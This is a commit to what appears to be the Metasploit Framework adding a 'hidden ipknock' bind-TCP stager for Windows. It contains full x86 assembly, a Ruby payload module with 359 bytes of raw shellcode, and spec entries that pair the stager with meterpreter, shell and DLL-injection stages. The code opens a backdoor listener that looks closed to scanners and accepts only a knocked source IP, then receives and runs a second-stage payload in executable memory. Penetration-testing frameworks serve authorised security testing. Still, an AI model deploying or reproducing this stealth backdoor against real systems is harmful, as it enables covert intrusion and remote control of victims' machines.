Add stager ipknock shellcode (PR 2)

This commit is contained in:
Borja Merino 2014-12-27 22:03:45 +01:00
parent 655cfdd416
commit 9791acd0bf
4 changed files with 271 additions and 0 deletions

View File

@ -0,0 +1,99 @@
;-----------------------------------------------------------------------------;
; Original Shellcode: Stephen Fewer (stephen_fewer@harmonysecurity.com)
; Modified version to add hidden ipknock bind shell support: Borja Merino (bmerinofe@gmail.com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (December 2014)
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the newly connected clients socket
; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0)
bind_tcp:
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
push 0x5F327377 ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
call ebp ; WSAStartup( 0x0190, &WSAData );
push eax ; if we succeed, eax wil be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
xor ebx, ebx ; Clear EBX
push ebx ; bind to 0.0.0.0
push 0x5C110002 ; family AF_INET and port 4444
mov esi, esp ; save a pointer to sockaddr_in struct
push byte 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
push esi ; pointer to the sockaddr_in struct
push edi ; socket
push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
call ebp ; bind( s, &sockaddr_in, 16 );
; Hidden ipknock Support ----------
push 0x1 ; size, in bytes, of the buffer pointed to by the "optval" parameter
push esp ; optval: pointer to the buffer in which the value for the requested option is specified
push 0x3002 ; level at which the option is defined: SOL_SOCKET
push 0xFFFF ; the socket option for which the value is to be set: SO_CONDITIONAL_ACCEPT
push edi ; socket descriptor
push 0x2977A2F1 ; hash( "ws2_32.dll", "setsockopt" )
call ebp ; setsockopt(s, SOL_SOCKET, SO_CONDITIONAL_ACCEPT, &bOptVal, 1 );
push ebx ; backlog
push edi ; socket
push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
call ebp ; listen( s, 0 );
condition:
push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function)
call wsaaccept ; push the start of the condition function on the stack
mov eax, DWORD [esp+4] ;
mov eax, DWORD [eax+4] ;
mov eax, DWORD [eax+4] ; get the client IP returned in the stack
sub eax, 0x2101A8C0 ; compare the client IP with the IP allowed
jz equal ; if equal, eax = 0
xor eax, eax
inc eax ; if not equal, eax = 1
equal:
mov DWORD [ebp+84], eax ; save the value of eax out of the scope of the callback.
; This value will be read it after calling WSAaccept since
; WSAaccept would always return FFFFFFFF when the IP is spoofed
retn 0x20 ; some stack alignment needed to return to mswsock
wsaaccept:
push ebx ; length of the sockaddr = nul
push ebx ; struct sockaddr = nul
push edi ; socket descriptor
push 0x33BEAC94 ; hash( "ws2_32.dll", "wsaaccept" )
call ebp ; wsaaccept( s, 0, 0, &fnCondition, 0)
cmp DWORD [esp+4], 0
jnz condition ; Check if the IP knocked is allowed
inc eax
jnz connection ; Check if the 3-Way Handshake is successfully established
push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function)
push ebx ; fnCondition = 0
jmp wsaaccept
jz condition ; if error (eax = -1) jump to condition function to wait for another connection
connection:
dec eax ; restore eax
push edi ; push the listening socket to close
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
call ebp ; closesocket( s );

View File

@ -0,0 +1,20 @@
;-----------------------------------------------------------------------------;
; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Borja Merino (bmerinofe[at]gmail[dot]com) [Hidden ACL support]]
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (Dec 2014)
; Size: 359 bytes
; Build: >build.py stager_hidden_bind_tcp
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start: ;
pop ebp ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_hidden_bind_ipknock.asm"
; By here we will have performed the bind_tcp connection and EDI will be our socket.
%include "./src/block/block_recv.asm"
; By now we will have received in the second stage into a RWX buffer and be executing it

View File

@ -0,0 +1,82 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
module Metasploit3
include Msf::Payload::Stager
include Msf::Payload::Windows
def self.handler_type_alias
"bind_hidden_ipknock_tcp"
end
def initialize(info = {})
super(merge_info(info,
'Name' => 'Hidden Bind Ipknock TCP Stager',
'Description' => 'Listen for a connection. First, the port will need to be knocked from
the IP defined in KHOST. This IP will work as an authentication method
(you can spoof it with tools like hping). After that you could get your
shellcode from any IP. The socket will appear as "closed" helping us to
hide the shellcode',
'Author' =>
[
'hdm', # original payload module (stager bind_tcp)
'skape', # original payload module (stager bind_tcp)
'sf', # original payload module (stager bind_tcp)
'Borja Merino <bmerinofe[at]gmail.com>' # Add Hidden Ipknock functionality
],
'License' => MSF_LICENSE,
'References' => ['URL', 'http://www.shelliscoming.com/2014/07/ip-knock-shellcode-spoofed-ip-as.html'],
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::BindTcp,
'Convention' => 'sockedi',
'Stager' =>
{
'RequiresMidstager' => false,
'Offsets' =>
{
'LPORT' => [ 193, 'n' ],
'KHOST' => [ 255, 'ADDR' ]
},
'Payload' =>
# Length: 359 bytes
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b" +
"\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c" +
"\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52" +
"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20" +
"\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac" +
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75" +
"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" +
"\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77" +
"\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00" +
"\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40" +
"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb\x53\x68\x02" +
"\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5" +
"\x6a\x01\x54\x68\x02\x30\x00\x00\x68\xff\xff\x00\x00\x57\x68\xf1" +
"\xa2\x77\x29\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53\xe8" +
"\x1a\x00\x00\x00\x8b\x44\x24\x04\x8b\x40\x04\x8b\x40\x04\x2d\xc0" +
"\xa8\x01\x21\x74\x03\x31\xc0\x40\x89\x45\x54\xc2\x20\x00\x53\x53" +
"\x57\x68\x94\xac\xbe\x33\xff\xd5\x83\x7c\x24\x04\x00\x75\xcf\x40" +
"\x75\x06\x53\x53\xeb\xe8\x74\xc6\x48\x57\x97\x68\x75\x6e\x4d\x61" +
"\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b" +
"\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5" +
"\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5" +
"\x01\xc3\x29\xc6\x75\xee\xc3"
}
))
register_options([
OptAddress.new('KHOST', [true, "IP address allowed", nil])
])
end
end

View File

@ -3325,4 +3325,74 @@ describe 'modules/payloads', :content do
modules_pathname: modules_pathname,
reference_name: 'windows/vncinject/bind_hidden_tcp'
end
context 'windows/dllinject/bind_hidden_ipknock_tcp' do
it_should_behave_like 'payload can be instantiated',
ancestor_reference_names: [
'stagers/windows/bind_hidden_ipknock_tcp',
'stages/windows/dllinject'
],
modules_pathname: modules_pathname,
reference_name: 'windows/dllinject/bind_hidden_ipknock_tcp'
end
context 'windows/meterpreter/bind_hidden_ipknock_tcp' do
it_should_behave_like 'payload can be instantiated',
ancestor_reference_names: [
'stagers/windows/bind_hidden_ipknock_tcp',
'stages/windows/meterpreter'
],
modules_pathname: modules_pathname,
reference_name: 'windows/meterpreter/bind_hidden_ipknock_tcp'
end
context 'windows/patchupdllinject/bind_hidden_ipknock_tcp' do
it_should_behave_like 'payload can be instantiated',
ancestor_reference_names: [
'stagers/windows/bind_hidden_ipknock_tcp',
'stages/windows/patchupdllinject'
],
modules_pathname: modules_pathname,
reference_name: 'windows/patchupdllinject/bind_hidden_ipknock_tcp'
end
context 'windows/patchupmeterpreter/bind_hidden_ipknock_tcp' do
it_should_behave_like 'payload can be instantiated',
ancestor_reference_names: [
'stagers/windows/bind_hidden_ipknock_tcp',
'stages/windows/patchupmeterpreter'
],
modules_pathname: modules_pathname,
reference_name: 'windows/patchupmeterpreter/bind_hidden_ipknock_tcp'
end
context 'windows/shell/bind_hidden_ipknock_tcp' do
it_should_behave_like 'payload can be instantiated',
ancestor_reference_names: [
'stagers/windows/bind_hidden_ipknock_tcp',
'stages/windows/shell'
],
modules_pathname: modules_pathname,
reference_name: 'windows/shell/bind_hidden_ipknock_tcp'
end
context 'windows/upexec/bind_hidden_ipknock_tcp' do
it_should_behave_like 'payload can be instantiated',
ancestor_reference_names: [
'stagers/windows/bind_hidden_ipknock_tcp',
'stages/windows/upexec'
],
modules_pathname: modules_pathname,
reference_name: 'windows/upexec/bind_hidden_ipknock_tcp'
end
context 'windows/vncinject/bind_hidden_ipknock_tcp' do
it_should_behave_like 'payload can be instantiated',
ancestor_reference_names: [
'stagers/windows/bind_hidden_ipknock_tcp',
'stages/windows/vncinject'
],
modules_pathname: modules_pathname,
reference_name: 'windows/vncinject/bind_hidden_ipknock_tcp'
end
end